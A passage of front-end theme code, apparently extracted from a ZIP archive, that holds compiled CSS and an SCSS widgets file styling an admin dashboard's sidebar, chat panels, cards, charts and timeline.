                  -webkit-transform: translateY(-50%);
                  transform: translateY(-50%); }
                .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before {
                  left: -9px;
                  border-right-color: #eef1f2; }
                .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after {
                  content: "";
                  height: 0;
                  width: 0;
                  display: block;
                  position: absolute;
                  right: auto;
                  left: -7px;
                  border-style: solid;
                  border-width: 6px 7px 6px 0;
                  border-color: transparent #fff transparent transparent;
                  -moz-transform: translateY(-50%);
                  -o-transform: translateY(-50%);
                  -ms-transform: translateY(-50%);
                  -webkit-transform: translateY(-50%);
                  transform: translateY(-50%); }
      .wrapper .page-wrap .chat-panel .card .card-footer {
        background: none;
        padding: 1.07143em 1.42857em;
        border-top: 1px solid rgba(153, 153, 153, 0.2); }
        .wrapper .page-wrap .chat-panel .card .card-footer .list-icon {
          font-size: 1.125rem; }
        .wrapper .page-wrap .chat-panel .card .card-footer textarea {
          box-shadow: none;
          resize: none;
          padding: 0;
          width: 100%;
          min-height: auto;
          padding: 5px 0; }
.wrapper.nav-collapsed .header-top {
  padding-left: 60px; }
.wrapper.nav-collapsed .page-wrap .app-sidebar {
  width: 60px; }
  .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-header .header-brand .text {
    display: none; }
  .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel {
    display: none; }
  .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span {
    display: none; }
  .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a::before {
    display: none; }
  .wrapper.nav-collapsed .page-wrap .app-sidebar:hover {
    width: 240px; }
    .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .header-brand .text {
      display: inline-block; }
    .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-lavel {
      display: block; }
    .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a span {
      display: inline-block; }
    .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a::before {
      display: inline-block; }
.wrapper.nav-collapsed .page-wrap .main-content {
  padding-left: 75px; }
.wrapper.nav-collapsed .page-wrap .footer {
  padding-left: 90px; }
.wrapper.menu-collapsed .page-wrap .app-sidebar .sidebar-header .nav-toggle {
  display: none; }
.wrapper.right-sidebar-expand .right-sidebar {
  -moz-transform: translateX(0);
  -o-transform: translateX(0);
  -ms-transform: translateX(0);
  -webkit-transform: translateX(0);
  transform: translateX(0); }
.wrapper.right-sidebar-expand .chat-panel {
  -moz-transform: translateY(-100%) translateX(0);
  -o-transform: translateY(-100%) translateX(0);
  -ms-transform: translateY(-100%) translateX(0);
  -webkit-transform: translateY(-100%) translateX(0);
  transform: translateY(-100%) translateX(0); }

hr {
  box-sizing: content-box;
  height: 0;
  margin-top: 1rem;
  border: 0;
  border-top: 1px solid rgba(0, 0, 0, 0.1); }

.profiletimeline {
  position: relative;
  padding-left: 40px;
  margin: 40px 10px 0 30px;
  border-left: 1px solid rgba(0, 0, 0, 0.1); }
  .profiletimeline .sl-item {
    margin-top: 8px;
    margin-bottom: 30px; }
    .profiletimeline .sl-item .sl-left {
      float: left;
      margin-left: -60px;
      z-index: 1;
      margin-right: 15px; }
      .profiletimeline .sl-item .sl-left img {
        max-width: 40px; }
    .profiletimeline .sl-item .sl-right .sl-date {
      font-size: 12px;
      color: #afb5c1; }

.dd-handle {
  background: #f7f7f7;
  border-radius: 3px;
  padding: 20px;
  position: relative;
  display: block;
  text-decoration: none;
  margin: 5px 0;
  overflow: hidden; }
  .dd-handle p {
    margin: 0; }
  .dd-handle:after, .dd-handle::after {
    content: '';
    width: 5px;
    height: 100%;
    position: absolute;
    top: 0;
    left: 0; }

.dd-list {
  margin: 0;
  padding: 0;
  list-style: none; }
  .dd-list .dd-placeholder, .dd-list .dd-empty {
    margin: 5px 0;
    padding: 0;
    min-height: 30px;
    background: #f2fbff;
    border: 1px dashed #b6bcbf;
    border-radius: 4px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px; }
  .dd-list .dd-list {
    padding-left: 30px; }

.dd-dragel {
  position: absolute;
  pointer-events: none;
  z-index: 9999; }
  .dd-dragel .dd-handle {
    -webkit-box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1);
    -ms-box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1);
    box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1); }

.todo-task .dd-handle:after, .todo-task .dd-handle::after {
  background-color: #f5365c !important; }

.progress-task .dd-handle:after, .progress-task .dd-handle::after {
  background-color: #F7CA18 !important; }

.completed-task .dd-handle:after, .completed-task .dd-handle::after {
  background-color: #26C281 !important; }

[class*="user--"]::after {
  height: 0.64286em;
  width: 0.64286em;
  display: block;
  position: absolute;
  top: 0;
  right: 10%;
  border-radius: 100px;
  content: "";
  -webkit-box-shadow: 0 0 0 2px #fff;
  box-shadow: 0 0 0 2px #fff; }

.user--online:after {
  background: #06d6a0; }

.user--busy:after {
  background: #ff3333; }

.user--offline:after {
  background: #bbb; }

/*# sourceMappingURL=theme.css.map */
PK��\�e��CCscss/_widgets.scssnu�[���.widget {
	border-color: #ffff;
    position: relative;
    width: 100%;
    border: none;
    margin-bottom: 30px;
    background-color: #fff;
    overflow: hidden;
    @include box-shadow(0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06));
    @include transition(all 0.5s ease-in-out);
    @include border-radius(4px);
    .widget-header {
    	padding: 10px 20px;
    	border-bottom: 1px solid #f5f7f9;
    	position: relative;
    	.widget-title {
    		font-size: 18px;
    		margin: 0;
    	}
    	.widget-tools {
    		position: absolute;
    		right: 10px;
    		top: 5px;
    		.btn-widget-tool {
			    padding: 5px;
			    font-size: 16px;
			    background: transparent;
			    color: #97a0b3;
			    i {
			    	margin: 0;
			    }
			    &:focus {
			    	@include box-shadow(none);
			    }
			}
    	}
    }
    .widget-body {
    	padding: 20px 20px;
	    h6 {
		    margin-bottom: 0;
		    font-weight: 400;
		}
		h2 {
		    margin-bottom: 0px;
		    font-weight: 600;
		}
		.icon {
		    font-size: 37px;
		    color: #9aa0ac;
		}
		.overlay {
		    position: absolute;
		    top: 0;
		    left: 0;
		    width: 100%;
		    height: 100%;
		    background: rgba(0, 0, 0, 0.22);
		    text-align: center;
		    z-index: 3;
		    @include flexbox();
		    @include justify-content(center);
		    @include align-items(center);
		    @include flex-direction(column);
		    i {
			    font-size: 32px;
			    color: #ef4153;
			    margin-bottom: 5px;
			}
		}
    }
    .progress {
		border-radius: 0;
	}
	&[class*=bg-] {
		.widget-header {
			background-color: rgba(255, 255, 255, 0.2);
			border-bottom-color: transparent;
			.widget-title {
				color: #fff;
			}
			.widget-tools {
				.btn-widget-tool {
					color: rgba(255, 255, 255, 0.6);
				}
			}
		}
		.widget-body {
			color: $white;
			.icon {
				color: $white;
			}
		}
	}
	&.social-widget {
		.widget-body {
			text-align: center;
		}
	}
}
.loading {
    -webkit-animation-name: loading;
    animation-name: loading;
    -webkit-animation-duration: .75s;
    animation-duration: .75s;
    -webkit-animation-iteration-count: infinite;
    animation-iteration-count: infinite;
    -webkit-animation-timing-function: linear;
    animation-timing-function: linear;
}
@-webkit-keyframes loading {
    0% {
        -webkit-transform: rotate(0deg);
        transform: rotate(0deg)
    }
    to {
        -webkit-transform: rotate(1turn);
        transform: rotate(1turn)
    }
}
@keyframes loading {
    0% {
        -webkit-transform: rotate(0deg);
        transform: rotate(0deg)
    }
    to {
        -webkit-transform: rotate(1turn);
        transform: rotate(1turn)
    }
}
.card-group {
	.card {
		&:not(:last-child) {
			border-right: 1px solid #f1f1f1;
		}
	}
}
.card {
	.card-header {
		border-bottom: 1px solid #f1f1f1;
		.card-header-right {
		    right: 10px;
		    top: 16px;
		    display: inline-block;
		    float: right;
		    position: absolute;
		    .card-option {
			    width: 35px;
			    height: 25px;
			    overflow: hidden;
			    margin: 0;
			    @include transition(0.3s ease-in-out);
			    li {
				    display: inline-block;
				    i {
					    margin: 0 5px;
					    cursor: pointer;
					    font-size: 15px;
					    color: #8c8c8c;
					    line-height: 2;
					    font-weight: 300;
					}
				}
			}
		}
	}
	.card-block {
	    padding: 1.25rem;
	}
	.card-body {
		.icon {
		    font-size: 37px;
		    color: #9aa0ac;
		}
	}
	.feeds-widget {
		padding: 0;
		.feed-item {
			display: block;
			padding: 12px 15px;
		    border: 1px solid #efefef;
		    border-left: 0;
		    border-right: 0;
		    a {
		    	@include flexbox();
		    	@include align-items(center);
		    	.feeds-left {
		    		width: 50px;
		    		font-size: 30px;
		    	}
		    	.feeds-body {
		    		width: 100%;
		    		h4 {
		    			font-size: 16px;
		    			margin: 0;
		    			font-weight: 700;
		    			margin-bottom: 5px;
		    			&~small {
						    text-overflow: ellipsis;
						    white-space: nowrap;
						    overflow: hidden;
						    width: calc(100% - 60px);
						    font-size: 13px;
						    color: #777;
						}
		    		}
		    		
		    	}
		    }
		    &.feed-item {
		    	margin-top: -1px;
		    }
		}
	}
	.timeline {
		.header {
		    background-size: cover;
		    color: #fff;
		    position: relative;
		    .color-overlay {
			    padding: 2em;
			    box-sizing: border-box;
			    background: rgba(123,94,155,0.5);
			    line-height: normal;
			    .day-number {
				    font-size: 6em;
				    margin-right: 15px;
				    display: inline-block;
				    font-weight: 700;
				    line-height: 1;
				}
				.date-right {
					display: inline-block;
					.day-name {
					    font-size: 22px;
					}
					.month {
					    text-transform: uppercase;
					    margin-top: 2px;
					}
				}
			}
		}
		ul {
			list-style: none;
			position: relative;
			padding-left: 30px;
			padding-top: 10px;
			margin: 0;
			@include pseudo-element('before') {
				content: ' ';
			    height: 100%;
			    width: 1px;
			    background-color: #f0f0f0;
			    position: absolute;
			    top: 0;
			    left: 35px;
			    z-index: 1;
			}
			li {
				padding-bottom: 15px;
				.bullet {
				    width: 10px;
				    height: 10px;
				    display: inline-block;
				    z-index: 2;
				    position: relative;
				    vertical-align: top;
				    margin: 7px 0;
				    margin-right: 5px;
				    @include border-radius(50%);
				}
				.time {
				    width: 20%;
				    font-size: 10px;
				    margin: 6px 0;
    				vertical-align: top;
    				display: inline-block;
				}
				.desc {
				    width: 65%;
				    display: inline-block;
				    h3 {
				    	margin: 0;
				    	font-size: 14px;
				    	font-weight: 700;
				    }
				    h4 {
				    	margin-top: 5px;
				    	font-size: 12px;
					    color: #999;
				    }
				}
			}
		}
	}
	.task-list {
		margin: 0;
		padding: 0;
		li {
		    display: block;
		    padding: 15px 0 15px 0;
		    margin: 0;
		    cursor: pointer;
		    &:first-child {
		    	padding-top: 0;
		    }
		    &.list {
		    	span {
				    float: left;
				    margin-top: 20px;
				    color: #FF7E39;
				    @include pseudo-element('before') {
				    	font-size: 1.5rem;
					    content: "\e83f";
					    font-family: 'iconkit';
					    vertical-align: middle;
					    border: 3px solid #FF7E39;
					    padding: 4px;
					    @include border-radius(50%);
				    }
				}
				.task-details {
				    margin-left: 60px;
					p {
					    margin: 0;
					    padding: 10px 0 6px 0;
					    line-height: 140%;
					    &.date {
						    padding: 0;
						    margin: 0;
						    font-size: .75rem;
						}
					}
				}
			}
			&.completed {
			    text-decoration: line-through;
			    color: #8796af;
			    @include transition(all 0.3s ease-out);
			    span {
			    	@include pseudo-element('before') {
			    		color: #50b924;
    					border: 3px solid #50b924;
			    	}
			    }
			}
		}
	}
	.chat-box {
		.chat-list {
		    margin: 0;
		    padding: 0;
		    list-style: none;
		    .chat-item {
			    list-style: none;
			    margin-top: 30px;
			    .chat-img {
				    display: inline-block;
				    width: 45px;
				    vertical-align: top;
				    img {
					    width: 45px;
					    @include border-radius(100%);
					}
				}
				.chat-content {
				    width: calc(100% - 50px);
				    display: inline-block;
				    padding-left: 15px;
				    .box {
					    display: inline-block;
					    padding: 10px;
					    margin-bottom: 3px;
					    color: #343a40;
					    background: #f6f8f9;
					    @include border-radius(6px);
					}
				}
				.chat-time {
				    display: block;
				    font-size: 10px;
				    color: #4F5467;
				    margin: 5px 0 15px 65px;
				}
				&.odd {
					.chat-content {
					    text-align: right;
					    width: calc(100% - 0px);
					    .box {
						    clear: both;
						    color: #fff;
						    background: #137eff;
						}

					}
					.chat-time {
						text-align: right;
					}
					&+.odd {
						margin-top: 0;
					}
				}
				&:first-child {
					margin-top: 0;
				}
			}
		}
	}
	.chat-footer {
		position: relative;
		background-color: $white;
		.input-wrap {
			padding-right: 50px;
		}
		.btn {
			position: absolute;
			top: 10px;
			right: 20px;
			width: 35px;
			height: 35px;
		}
	}
	.card-title {
		font-size: 18px;
	}
	.card-subtitle {
	    font-weight: 300;
	    margin-bottom: 10px;
	    color: #afb5c1;
	}

}
.jvectormap-tip {
    border: none;
    font-family: 'Nunito Sans', sans-serif;
    font-weight: 700;
    padding: 5px 10px;
    font-size: 11px;
}
.chart-line {
    .ct-grid {
        stroke-dasharray: 0;
        stroke: rgba(256, 256, 256, 0.5);
    }

    .ct-point {
        stroke-width: 0;
    }

    .ct-line {
        stroke: #FFF;
        stroke-width: 3px;
    }
}

.chart-shadow {
    transition: all 0.3s ease-in-out;
    filter: drop-shadow(0px 5px 2px rgba(43, 43, 43, 0.2));
}

.card {
    // &:hover {
    //     .chart-shadow {
    //         filter: drop-shadow(0px 4px 1px rgba(43, 43, 43, 0.2));
    //         transform: translatey(5px);
    //     }
    // }
    &-blue,
    &-green,
    &-red,
    &-yellow {
        position: relative;
        overflow: hidden;

        &:after {
            content: "";
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 1;
        }

        .card-block,
        .card-block-big,
        .card-block-small,
        .card-body,
        .card-footer,
        .card-header {
            position: relative;
            z-index: 5;
        }
    }

    &-red {
        &::after {
            background: $danger;
        }

        .ct-line {
            stroke: #fff;
        }

        .ct-grid {
            stroke: lighten($danger,15%);
        }
    }

    &-blue {
        &::after {
            background: $primary;
        }

        .ct-line {
            stroke: #fff;
        }

        .ct-grid {
            stroke: lighten($primary,15%);
        }
    }

    &-green {

        &::after {
            background: $success;
        }

        .ct-line {
            stroke: #fff;
        }

        .ct-grid {
            stroke: lighten($success,15%);
        }
    }

    &-yellow {
        &::after {
            background:$warning;
        }

        .ct-line {
            stroke: #fff;
        }

        .ct-grid {
            stroke: lighten($warning,15);
        }
    }
}

.proj-progress-card {
    .progress {
        height: 6px;
        overflow: visible;
        margin-bottom: 10px;

        .progress-bar {
            position: relative;

            &:after {
                content: "";
                background: #fff;
                position: absolute;
                right: -6px;
                top: -4px;
                border-radius: 50%;
                width: 15px;
                height: 15px;
            }

            &.bg-red:after {
                border: 3px solid $danger;
                // box-shadow: 0 0 0 5px transparentize($danger-color, 0.5),0 10px 7px 0 rgba(62, 57, 107, 0.18);
            }

            &.bg-blue:after {
                border: 3px solid $primary;
                // box-shadow: 0 0 0 5px transparentize($primary-color, 0.5),0 10px 7px 0 rgba(62, 57, 107, 0.18);
            }

            &.bg-green:after {
                border: 3px solid $success;
                // box-shadow: 0 0 0 5px transparentize($success-color, 0.5),0 10px 7px 0 rgba(62, 57, 107, 0.18);
            }

            &.bg-yellow:after {
                border: 3px solid $warning;
                // box-shadow: 0 0 0 5px transparentize($warning-color, 0.5),0 10px 7px 0 rgba(62, 57, 107, 0.18);
            }
        }
    }
    @media only screen and (max-width: 992px) {
        h6 {
            margin-top: 15px;
        }

        .progress {
            margin-bottom: 30px;
        }
    }
}

.sos-st-card {
    h3 {
        display: inline-block;

        i {
            color: #fff;
            font-size: 18px;
            width: 60px;
            height: 60px;
            border-radius: 50%;
            padding: 12px 0;
            text-align: center;
            margin-right: 15px;
            border: 10px solid transparent;
            transition: all 0.3s ease-in-out;
        }
    }

    h5 {
        position: relative;

        &:after {
            content: "";
            background: #d2d2d2;
            position: absolute;
            top: -20px;
            right: -15px;
            width: 1px;
            height: 60px;
        }
    }

    &.facebook {
        h3 {
            color: $facebook;

            i {
                background-color: $facebook;
                border-color: lighten($facebook,25%);
            }
        }
    }

    &.twitter {
        h3 {
            color: $twitter;

            i {
                background-color: $twitter;
                border-color: lighten($twitter,25%);
            }
        }
    }

    &.linkedin {
        h3 {
            color: $linkedin;

            i {
                background-color: $linkedin;
                border-color: lighten($linkedin,25%);
            }
        }
    }

    &.dribble {
        h3 {
            color: $dribbble;

            i {
                background-color: $dribbble;
                border-color: lighten($dribbble,25%);
            }
        }
    }

    &:hover {
        h3 i {
            transform: scale(1.2) rotate(35deg);
        }
    }
    @media only screen and (max-width: 768px) {
        h3 {
            i {
                font-size: 16px;
                width: 35px;
                height: 35px;
                padding: 7px 0;
                margin-right: 0;
                border-width: 3px;
                margin-left: -10px;
            }
        }

        h5 {
            &:after {
                display: none;
            }
        }
    }
}

.wather-card {
    overflow: hidden;

    .wather-card-top {
        position: relative;
        overflow: hidden;
        min-height: 200px;
        background: linear-gradient(to bottom, #7a9af5, rgba(90, 179, 243, 0.5));

        .wave {
            position: absolute;
            left: 0;
            right: 0;
            top: auto;
            bottom: 0;
            z-index: 1;

            + .wave {
                z-index: 2;

                + .wave {
                    z-index: 3;
                }
            }
        }

        .sun {
            background: #fff;
            position: absolute;
            top: 50px;
            left: 50px;
            width: 30px;
            height: 30px;
            border-radius: 50%;

            &:after,
            &:before {
                content: "";
                width: 100%;
                height: 100%;
                border-radius: 50%;
                position: absolute;
                box-shadow: inset 0 0 20px 5px rgba(255, 255, 255, 0.4);
            }

            &:after {
                animation: sunwawe 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite;
            }

            &:before {
                animation: sunwawe 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;
                animation-delay: 1.15s;
            }
        }

        .w-star1,
        .w-star2 {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
        }

        .w-star1 {
            animation: sparcle 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite;
        }

        .w-star2 {
            animation: sparcle 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;
            animation-delay: 1.15s;
        }

        .w-cloud {
            position: absolute;
            right: 30px;
            top: 60px;
            opacity: 0;
            animation: w-cluod 15s linear infinite;
        }
    }
}
@keyframes w-cluod {
    0% {
        opacity: 0;
        transform: translate(0px,0px);
    }

    20% {
        opacity: 0.8;
        transform: translate(30px,-25px);
    }

    40% {
        opacity: 1;
        transform: translate(0px,0px);
    }

    60% {
        opacity: 0.6;
        transform: translate(-30px,25px);
    }

    80% {
        opacity: 0.5;
        transform: translate(0px,0px);
    }

    80% {
        opacity: 0;
        transform: translate(0px,0px);
    }
}
@keyframes sparcle {
    0% {
        opacity: 1;
    }

    50% {
        opacity: 0;
    }
}
@keyframes sunwawe {
    0% {
        transform: scale(1);
        opacity: 1;
    }

    100% {
        transform: scale(4);
        opacity: 0;
    }
}

.comp-card {
    i {
        color: #fff;
        width: 50px;
        height: 50px;
        border-radius: 5px;
        text-align: center;
        padding: 17px 0;
        font-size: 18px;
        text-shadow: 0 6px 8px rgba(62, 57, 107, 0.18);
        transition: all 0.3s ease-in-out;
    }

    &:hover {
        i {
            border-radius: 50%;
        }
    }
}

.proj-t-card {
    position: relative;
    overflow: hidden;

    .pt-badge {
        color: #fff;
        margin-bottom: 0;
        display: inline-block;
        padding: 60px 50px 20px 20px;
        border-radius: 50%;
        position: absolute;
        top: -45px;
        right: -35px;
        transition: all 0.3s ease-in-out;
        box-shadow: 0 5px 7px 0 rgba(62, 57, 107, 0.18);
    }

    &:hover {
        .pt-badge {
            padding: 65px 55px 30px 30px;
            text-shadow: 0 3px 5px rgba(62, 57, 107, 0.50);
            box-shadow: 0 4px 4px 0 rgba(62, 57, 107, 0.30);
        }
    }
}

.prod-p-card {
    i {
        background-color: #fff;
        width: 40px;
        height: 40px;
        border-radius: 50%;
        text-align: center;
        padding: 11px 0;
        font-size: 18px;
        transition: all 0.3s ease-in-out;
        box-shadow: 0 8px 15px rgba(62, 57, 107, 0.20);
    }

    &:hover {
        i {
            box-shadow: 0 4px 4px rgba(62, 57, 107, 0.20);
            transform: scale(0.9) translatey(5px);
        }
    }
}

.ticket-card {
    .lbl-card {
        box-shadow: 0 5px 4px -2px rgba(51, 51, 51, 0.16);
        border-radius: 5px;
        padding: 5px 15px;
        color: #fff;
        display: inline-block;
    }
}

.analytic-card {
    .analytic-icon {
        width: 50px;
        height: 50px;
        text-align: center;
        padding: 17px 0;
        border-radius: 50%;
        background-color: #fff;
        transition: all 0.3s ease-in-out;
        box-shadow: 0 8px 15px 0 rgba(51, 51, 51, 0.2);
    }

    &:hover {
        .analytic-icon {
            box-shadow: 0 4px 4px rgba(62, 57, 107, 0.20);
            transform: rotate(-15deg) translatey(5px);
        }
    }
}

.social-res-card {
    .progress {
        height: 6px;
    }
}

.product-progress-card {
    .progress {
        height: 6px;
    }

    .pp-cont {
        padding-left: 15px;
        padding-right: 15px;
        position: relative;

        &:after {
            content: "";
            background: #d2d2d2;
            width: 1px;
            height: 100%;
            position: absolute;
            top: 0;
            left: -15px;
        }
    }

    .pp-main > div:first-child {
        .pp-cont:after {
            display: none;
        }
    }
    @media only screen and (max-width: 992px) {
        .pp-cont {
            margin-top: 15px;
            margin-bottom: 15px;

            &:after {
                display: none;
            }
        }
    }
}

.social-card {
    h2 {
        text-shadow: 0 8px 15px rgba(51, 51, 51, 0.2);
        transition: all 0.3s ease-in-out;
    }

    &:hover {
        h2 {
            text-shadow: 0 4px 4px rgba(51, 51, 51, 0.2);
            transform: scale(0.9) translatey(5px);
        }
    }
}

.user-card {
    overflow: hidden;

    .user-img {
        border-radius: 50%;
        display: flex;
        align-items: center;
        width: 80px;
        height: 80px;
        margin: 0 auto;
        position: relative;
        box-shadow: 0 8px 15px 0 rgba(51, 51, 51, 0.2);

        h5 {
            margin: 0 auto;
        }

        .link-share {
            position: absolute;
            padding: 4px 0;
            right: 0;
            bottom: 0;
            border-radius: 50%;
            width: 25px;
            height: 25px;
            background: #fff;
            color: #666;
            box-shadow: 0 8px 15px 0 rgba(51, 51, 51, 0.2);
        }
    }

    .user-sub-img {
        position: relative;
        margin: 30px 0 10px;
        padding-top: 30px;

        > img {
            width: 30px;
            cursor: pointer;
            margin: 5px;
        }

        &:after {
            content: "";
            width: 30px;
            height: 1px;
            background: #2b2b2b;
            position: absolute;
            top: 0;
            right: calc(50% - 15px);
        }
    }

    .f-btn {
        cursor: pointer;
        transition: all 0.3s ease-in-out;

        a {
            transition: all 0.3s ease-in-out;
        }

        &:hover {
            background-color: lighten($primary,30%);
            box-shadow: inset 0 5px 7px -3px rgba(43, 43, 43, 0.15);

            a {
                color: $primary;
            }
        }
    }
}

.soc-cont-card {
    color: #fff;
    position: relative;
    overflow: hidden;

    .soc-slider {
        margin-right: 85px;
    }

    .soc-cont-icon {
        color: #fff;
        font-size: 50px;
        width: 100px;
        text-align: center;
        position: absolute;
        right: 0;
        top: 20px;
    }

    .num-block {
        background: #fff;
        color: $theme;
        padding: 8px 15px;
        display: inline-block;
        margin: 5px 0 10px;
        border-radius: 5px;
        box-shadow: inset 0 1px 3px -1px rgba(43, 43, 43, 0.25);

        +.num-block {
            margin-left: 15px;
        }

        i {
            font-size: 16px;
            opacity: 1;
        }
    }

    .card-block {
        margin-bottom: 20px;
        padding-bottom: 10px;
    }

    &:after {
        content: "";
        background: rgba(256,256,256,0.5);
        // border-top: 1px solid rgba(256,256,256,0.5);
        height: 20px;
        width: 100%;
        position: absolute;
        bottom: 0;
        left: 0;
    }
    @media only screen and (max-width: 575px) {
        .soc-slider {
            margin-right: 0;
        }

        .soc-cont-icon {
            font-size: 40px;
            width: 50px;
            top: auto;
            bottom: 35px;
        }
    }
}

.st-cir-card {
    position: relative;
    overflow: hidden;

    .st-bt-lbl {
        font: {
            size: 60px;
            weight: 700;
        }
        opacity: 0.3;
        position: absolute;
        bottom: -30px;
        right: -5px;
    }

    .st-cir-chart {
        position: relative;

        h5 {
            position: absolute;
            margin-bottom: 0;
            top: 50%;
            left: 50%;
            transform: translate(-50%,-50%);
        }
    }
    .ct-series-a .ct-slice-donut{
        stroke: #fff;
    }

    &.card {
        &-red {
            .ct-series-b path {
                stroke: lighten($danger,20%);
            }
        }

        &-blue {
            .ct-series-b path {
                stroke: lighten($primary,20%);
            }
        }

        &-green {
            .ct-series-b path {
                stroke: lighten($success,20%);
            }
        }

        &-yellow {
            .ct-series-b path {
                stroke: lighten($warning,20%);
            }
        }
    }
}

.prod-bar-card {
    .pbc-chart {
        width: 50px;
        margin: 0 auto 10px;
    }

    .radial-bar:after {
        box-shadow: 0 0 3px #fff;
    }
}

.sale-card {
    .s-chart {
        position: relative;

        .bottom-line {
            background: #ccc;
            position: absolute;
            width: 80px;
            height: 3px;
            bottom: 30px;
            left: 50%;
            transform: translatex(-50%);
        }
    }

    .radial-bar {
        margin: 15px 0 35px;

        > img {
            box-shadow: 0 0 0 8px #fff;
        }
    }

    .s-caption {
        width: 20px;
        height: 20px;
        border-radius: 5px;
        display: inline-block;
        vertical-align: super;
        margin-right: 5px;
    }

    .progress {
        height: 5px;
    }

    .tot-rev-chart {
        position: relative;
        margin: 0 auto;

        .ct-series-b path {
            stroke: #fff;
        }

        .ct-series-a .ct-slice-donut {
            stroke: $warning;
        }

        h3 {
            position: absolute;
            margin-bottom: 0;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
        }
    }
}

.new-cust-card {
    img {
        border: 2px solid #fff;
        box-shadow: 0 5px 10px 0 rgba(43, 43, 43, 0.2);
    }

    h6 {
        margin-bottom: 0;
    }

    .align-middle {
        position: relative;

        .status {
            position: absolute;
            right: 0;
            top: 19px;
            font-size: 13px;

            &.active {
                width: 10px;
                height: 10px;
                border-radius: 50%;
                background: $success;
            }
        }
    }
}

.table-card {
    .card-block {
        padding-left: 0;
        padding-right: 0;
        padding-top: 0;

        .table {
            > thead > tr > th {
                border-top: 0;
            }

            tr {
                td,
                th {
                    &:first-child {
                        padding-left: 20px;
                    }

                    &:last-child {
                        padding-right: 20px;
                    }
                }
            }

            &.without-header {
                tr {
                    &:first-child {
                        td {
                            border-top: none;
                        }
                    }
                }
            }
        }
    }

    .p-status {
        width: 10px;
        height: 10px;
        border-radius: 50%;
    }
}

.latest-update-card {
    .card-block {
        padding-top: 0;

        .latest-update-box {
            position: relative;

            &:after {
                content: "";
                position: absolute;
                background: #ebebeb;
                height: 100%;
                width: 3px;
                top: 0;
                left: 19px;
                z-index: 1;
            }

            .update-meta {
                z-index: 2;

                .update-icon {
                    width: 30px;
                    height: 30px;
                    border-radius: 50%;
                    text-align: center;
                    padding: 7px 8px;
                    font-size: 16px;
                    color: #fff;

                    &.bg-red {
                        box-shadow: 0 0 0 4px transparentize($danger, 0.5),;
                    }

                    &.bg-blue {
                        box-shadow: 0 0 0 4px transparentize($primary, 0.5);
                    }

                    &.bg-green {
                        box-shadow: 0 0 0 4px transparentize($success, 0.5);
                    }

                    &.bg-yellow {
                        box-shadow: 0 0 0 4px transparentize($warning, 0.5);
                    }

                    &.ring {
                        border-width: 3px;
                        width: 15px;
                        height: 15px;
                        padding: 0;
                        display: block;
                        margin-left: 13px;
                        background: #fff;
                    }
                }

                i.update-icon {
                    margin-left: 4px;
                    margin-right: 19px;
                }

                img.update-icon {
                    padding: 0;
                    width: 40px;
                    height: 40px;
                }
            }
            @media only screen and (max-width: 575px) {
                &:after {
                    display: none;
                }

                .update-meta {
                    z-index: 2;
                    min-width: 100%;
                    text-align: left !important;
                    margin-bottom: 15px;
                    border-top: 1px solid #f1f1f1;
                    padding-top: 15px;
                }
            }
        }
    }
}

.testimonial-card {
    .progress {
        height: 5px;
    }

    .review-block {
        .cust-img {
            width: 50px;
            height: 50px;
        }

        > div {
            padding-top: 15px;
            padding-bottom: 15px;
            margin-left: 0;
            margin-right: 0;
            padding-left: 5px;
            padding-right: 5px;

            &:hover {
                background-color: transparentize($primary, 0.9);
            }
        }
    }
}

.feed-card {
    h6 {
        margin-top: 7px;
    }

    .feed-icon {
        color: #fff;
        border-radius: 50%;
        width: 30px;
        height: 30px;
        text-align: center;
        padding: 8px 9px;
    }
}

.chat-card {
    .msg {
        margin-bottom: 5px;
        display: inline-block;
        padding: 10px;
        position: relative;

        img {
            width: 60px;
            border-radius: 5px;
            margin-bottom: 5px;
            margin-top: 5px;
            margin-right: 10px;
        }
    }

    .received-chat {
        .msg {
            background: transparentize($primary, 0.9);
            border-radius: 0 5px 5px 5px;
            box-shadow: 2px 3px 7px 0 rgba(43, 43, 43, 0.15);

            &:after {
                content: "";
                position: absolute;
                left: -7px;
                top: -7px;
                transform: rotate(45deg);
                border: 7px solid transparent;
                border-bottom-color: transparentize($primary, 0.9);
            }
        }
    }

    .send-chat {
        text-align: right;

        .msg {
            background: transparentize($success, 0.9);
            border-radius: 5px 0 5px 5px;
            box-shadow: -2px 3px 7px 0 rgba(43, 43, 43, 0.15);

            &:after {
                content: "";
                position: absolute;
                right: -7px;
                top: -7px;
                transform: rotate(45deg);
                border: 7px solid transparent;
                border-right-color: transparentize($success, 0.9);
            }
        }
    }
}

/* -------------------------------------
 * Bar container
 * ------------------------------------- */
.radial-bar {
  position: relative;
  display: inline-block;
  border-radius: 50%;
  background-color: transparent;
  margin-bottom: 20px;
  -webkit-box-sizing: content-box;
  -moz-box-sizing: content-box;
  box-sizing: content-box;
  width: 80px;
  height: 80px;
  font-size: 18px;
}
.radial-bar:after,
.radial-bar > img {
  display: inline-block;
  position: absolute;
  top: 0;
  left: 0;
  border-radius: 50%;
  text-align: center;
  font-weight: 500;
  color: #455a64;
}
.radial-bar:after {
